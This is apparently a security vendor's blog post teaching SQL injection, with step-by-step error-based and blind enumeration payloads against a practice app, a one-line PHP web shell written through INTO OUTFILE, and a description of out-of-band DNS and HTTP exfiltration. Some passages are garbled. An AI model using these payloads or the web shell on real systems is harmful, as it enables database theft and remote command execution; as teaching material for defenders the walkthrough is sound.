Web application security is increasingly critical in today’s digital landscape, as cyber threats continue to evolve and grow more sophisticated. Among the most common and dangerous vulnerabilities faced by web applications is SQL Injection. This security flaw enables attackers to exploit weaknesses in the application’s database queries, potentially allowing them to access sensitive data or even take control of the underlying system.
In this blog, we will explore the OWASP (Open Web Application Security Project) Top 10 Web Application Security Risks, with a particular emphasis on SQL Injection. We will cover what SQL Injection is, how it operates, and its potential impact on web applications and their users. Additionally, we will delve into the two most common types of SQL Injection.
Whether you’re a developer, a security professional, or someone with a keen interest in web application security, this blog will offer valuable insights into understanding and mitigating SQL Injection vulnerabilities in your web applications.
What is SQL Injection?
SQL Injection is a type of cybersecurity attack where an attacker exploits vulnerabilities in a web application’s input fields to inject malicious SQL (Structured Query Language) code into an application’s database.
SQL is a standard programming language used to manage databases, and it is commonly used in web applications to interact with databases for tasks such as retrieving, inserting, updating, or deleting data.
In a SQL Injection attack, an attacker typically manipulates input fields, such as login forms or search boxes, to input SQL commands that are executed by the database without proper validation or sanitization. This allows the attacker to gain unauthorized access to the database, manipulate data, or execute arbitrary commands on the underlying system.
Types of SQL Injection
There are several types of SQL injection, but here are two commonly referenced types:
- Error-Based SQL Injection
- Blind Based SQL Injection
1. Error-Based SQL Injection
Error-Based SQL Injection is a type of cyber attack where an attacker exploits vulnerabilities in a website’s SQL (Structured Query Language) database by intentionally injecting malicious SQL queries that trigger errors.
This type of attack typically occurs when a website does not properly validate and sanitize user input before incorporating it into SQL queries. The attacker manipulates the input fields of a web form or URL parameters to inject SQL statements that generate errors, which can reveal sensitive information such as usernames, passwords, and other confidential data.
Error-Based SQL Injection attacks can be carried out by skilled hackers using automated tools or manually crafted queries, and they can pose significant risks to the security and integrity of a website’s database and the data stored within it.
Web developers should implement strong input validation and parameterized queries to protect against Error-Based SQL Injection attacks and ensure the security of their web applications. Regular security audits and testing for SQL injection vulnerabilities are also crucial to prevent and detecting such attacks.
Exploiting Error-Based SQL Injection
So far, we have discussed what Error based SQL injection is. Now, we will perform an Error-based SQL injection. This will help us to gain an in-depth understanding of the functioning.
STEP 1: Break the Query
To exploit SQL Injection the most important step is to break the SQL Query. As we break the query SQL throws an error which helps in confirming that it is vulnerable to SQL Injection.
QUERY: ‘
An error is thrown that tells us that there is an odd number of quotes. But, why do you think the error has been thrown by the database?
Here are a few reasons why a database might throw an error:
- Not knowing SQL Query Structure
- Invalid SQL Statement – Any incorrect SQL instruction identified when parsing or executing the SQL will generate an error. These errors could be an unexpected quote, invalid table name, misspelt operator, mismatching data types like UNION, missing parenthesis, insufficient permissions, etc.
Step 2 – Fix the Query
Now that it is confirmed SQL Injection we also have to fix the query. Fixing the query gives us space to craft our malicious payload while ignoring the remaining genuine SQL Query. Fixing the Query gives us no error.
QUERY: ‘ #
Step 3 – Find Columns
Let’s now find the number of columns present in the victim’s database. For this, we use ORDER BY. This tells the database how to order the result.
If the column number is present, it will throw no error. If the column number is not present, it will throw an error.
QUERY: ‘Order By 3 #
Step 4 – Identifying Database Name and Database Version
Let’s combine multiple SQL SELECT statements to confirm the number of columns we found from the victim’s SQL database. For this we use UNION. With UNION, we can select more data in one SQL statement. With UNION, we can find the database name with the database() function as well as the database version with the version() function.
QUERY: ‘ Union All Select 1,2 #
QUERY: ‘ union all select 1, database() #
The surname column tells the name of the database
QUERY: ‘ union all select 1, version() #
Step 5 – Finding Table Names
Now that we have the necessary information, let us extract the table names from the database of the victim. Here, we will use INFORMATION_SCHEMA along with the database name.
INFORMATION_SCHEMA contains the metadata of the database.
Also, we will use TABLE_SCHEMA which tells the name of the database to which the table belongs.
QUERY: ‘ union all select 1, table_name from information_schema.tables where table_schema=database() #
Step 6 – Finding Column Names
Now, that we have the necessary information along with some table names, let us extract the columns. We can extract the information from the columns from the previously found table_names.
QUERY: ‘ union all select 1, column_name from information_schema.columns where table_name= ‘ ‘ #
Step 7 – Dumping the Data
So, after all the processes so far we have all the information that is required to extract the valuable data from the database.
QUERY: ‘ union all select column_name 1, column_name 2 from table_name #
So here we saw how SQL injection can be implemented with the method of Error-Based SQL Injection.
2. Blind-Based SQL Injection
Blind-based SQL injection is a type of web application vulnerability that occurs when an attacker can inject malicious SQL code into a web application’s database query, without directly receiving any error messages or visible feedback. This makes it difficult for the attacker to retrieve the results of the injected query in real time.
Instead, the attacker relies on manipulating the application’s behaviour and analyzing the resulting changes to infer the success of the injection.
This type of SQL injection can be particularly stealthy, as it does not generate any immediate error messages or other visible indications of a successful attack, making it harder for web application administrators to detect and mitigate.
Blind-based SQL injection attacks often require more effort and time to carry out successfully, as the attacker may need to perform multiple attempts and carefully analyze the application’s behaviour to determine the presence of vulnerabilities and retrieve sensitive information from the database.
Exploiting Blind-Based SQL Injection
Let us start with the exploitation of Blind-Based SQL Injection to gain hands-on experience and closely observe its functioning.
Here, low-level code does not check and filter the parameter id. There are obvious SQL Injection vulnerabilities, and the SQL statement returns only two results:
- The User ID that exists in the database
- The User ID that is missing from the database
Step 1 – Identifying Injection and if Injection is a Parameter or a Character
Now that we know ID 1 exists, we can try injecting a payload along with it to confirm that the application is vulnerable.
Injecting the payload 1′ and 1=1 # results in a ‘true’ condition because 1 is a valid ID and ‘1= 1’ is a TRUE statement. So the result returned informs that the ID is present in the database.
Alternatively,1′ and 1=2;- – results in a false condition because 1 is a valid user ID and 1=2 is false. Thus, we get an error that the user ID does not exist in the database.
Step 2 – Finding Columns
Along with a valid user id and a true statement, we ask the database if is there only 1 column.
QUERY : 1′ and 1=1 union select 1 #
Step – 3 Identifying the name of the Database
The next step is to learn the name of the database, which starts by determining the length of the name and then enumerating the characters in the correct order until the right string is hit.
We use the following payloads to determine how long is the name: 1’ and length(database())=1 #
1’ and length(database())=2 # ID is Missing
1’ and length(database())=3 # ID is Missing
1’ and length(database())=4 # ID Exists
Let’s now identify the name of the database, with 1 character each and for that we use;
1′ and substring(database(),1,1)=’a’ #
So here we ask the database: Are you 1 character of your name “a”?
If NO, an error will be thrown but if YES, it will accept it.
1′ and substring(database(),1,1)=’d’ #
As such we try for all 26 alphabet characters and on analyzing what we get is;
1′ and substring(database(),2,1)=’v’ #
1′ and substring(database(),3,1)=’w’ #
1′ and substring(database(),4,1)=’a’ #
Step 4: Identifying the number of tables in the Database
As now we know the name of the database, let’s find the number of tables that are present in the database and for that, we use them;
1′ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # ID is Missing
1′ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # ID Exists
Now we need to identify the character size of the names of these tables and for that we use;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # ID is Missing
We keep trying till we get an ID Exists error, and after enumerating, we get it on;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ID Exists
Thus, as we have 2 tables we also check the character size for the other table by;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # ID is Missing
Now we identify the names of these 2 tables, as we know their character length and for this the best way is to refer to ASCII Table
Now we need to check for all alphabets, Capital as well as Small, by using;
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>106 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>102# ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # ID is Missing1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # ID is Missing
Oddly, we got an error on greater than 103, as well as less than 103, so we can guess 103
Meaning the First letter of the First Table Name is g
(Note – Keep Enumerating till you have 2 tables: guestbook, users)
Step 5: Identifying the Field name in the Table
Now we identify the Column name from the users’ table, by using the;
1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 # ID is Missing
1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # ID Exists
Then we try to identify the character size of each column just like we did above, and then we find the alphabets.
Step 6: Guess the Data
So now that we have found the column name, we dump the data in the same lengthy process;
- Identifying the number of rows
- Identifying the length of the password for each user_id
- Guessing its alphabet
Some Advanced SQL Injection Attacks
So far, we have discussed the basics of SQL Injection along with some hands-on functionality.
Now, let us shed some light on advanced methods of SQL Injection attacks.
The two of the most advanced SQL Injection attacks are:
- Shell Upload via SQL Injection
- SQL Injection Attack via Out-Of-Band
1. Uploading Shell Via SQL Injection
As per our previous blog, we observed that we have 2 columns, and we found this by using ORDER BY of the SQL. Now that we have a little more information about the database, we can use this at our convenience to perform a union-based SQL injection.
The union operator is used in SQL to combine the results of two or more blend statements, but for it to work properly, the statements have to have the same number of columns.
We can do many things with union-based injections, but here let’s try to run some commands.
Well, indeed that is possible and the best way to do so is by “Uploading a simple PHP Shell”.
We need to resolve the root directory of the webserver to upload our shell. Depending on the application we can guess the type of web server used, which can alter, especially if the admin changes the default location.
For understanding purposes, let’s assume that the default webroot of Apache (/var/www/) is being used with public write permissions.
NOTE: Information about the web server, including the root directory, can usually be found in the “phpinfo.php” file.
We can use the INTO OUTFILE command to write to a file. We will insert a simple PHP script that can execute commands, which will look like this:
<?php system($_GET[“cmd”]); ?>
Let’s Inject; Using double quotation marks in the script as we need to enclose the second part of the statement in single quotes to avoid syntax errors, which will look like this;
Where cmd.php is the name of our shell file.
‘ union select 1, ‘<?php system($_GET[“cmd”]); ?>’ into outfile ‘/var/www/dvwa/cmd.php’ #
Thus, as this works properly, we will be able to access our shell via URL and execute commands.
2. Out-of-Band (OOB) SQL Injection Attack
The Band technique provides an attacker with an alternative way to confirm and exploit a vulnerability that is otherwise “blind. In a blind vulnerability, as an attacker, you do not get the output of the vulnerability in the direct response to the vulnerable request.
The OOB techniques often require a vulnerable entity to generate an outbound TCP/UDP/ICMP request and that will then allow an attacker to exfiltrate data. The success of an OOB SQL attack is based on the egress firewall rules i.e. which outbound request is permitted from the vulnerable system and the perimeter firewall.
OOB SQL attack injection exfiltrates data through an outbound channel, which can be either DNS or HTTP protocol. The capability of a database system to initiate outbound DNS or HTTP requests may need to rely on the function available. The function can be either a file operation function (for instance: load_file(), master..xp_dirtree) an establish connection function (for instance: DBMS_LDAP.INIT, UTL_HTTP.request).
Let us discuss DNS-based exfiltration and HTTP-based exfiltration in explicit detail.
DNS Based Exfiltration:
The following is a sample query for DNS-based exfiltration for MariaDB, one of the forks of MySQL database.
This query is used to exfiltrate the database version, username, and password from MariaDB.
load_file() function is used to initiate outbound DNS requests and period (.) as a delimiter to organize the display of captured data.
HTTP Based Exfiltration:
Oracle database is used to demonstrate HTTP-based exfiltration by using the UTL_HTTP.request function.
The following shows the sample query used to exfiltrate the database version, current username and hashed password from the database.
The purpose of the UTL_HTTP.request() function is to trigger the HTTP request of the database system. Whereas, string version, user and hash pass are used to organize the captured data and make it look like parameters of the HTTP request.
The above usually comes in handy for the prevention of SQL injection attacks by reducing the variety of types of lines and statements that can be cleared through the parameters. although, there are various methods around the restrictions and limitations and many other intriguing lines that can be entered to store the process.
Due to such a long, time-consuming, and extremely lengthy process of blind injection, tools like SQLMAP are also used to ease the entire process.
Ace the security of your data with SecureLayer7
SecureLayer7 is your trusted partner in safeguarding your organization against SQL Injection attacks.
Our cutting-edge cybersecurity solutions are designed to detect and block SQL Injection vulnerabilities in your web applications, ensuring that your sensitive data remains secure.
With advanced vulnerability detection, real-time monitoring, custom security policies, regular security audits, and seamless integration, SecureLayer7 offers a comprehensive defence against SQL Injection attacks.
Don’t compromise your organization’s data – choose SecureLayer7 for robust protection against this prevalent threat and gain peace of mind knowing your web applications are safeguarded against malicious attacks.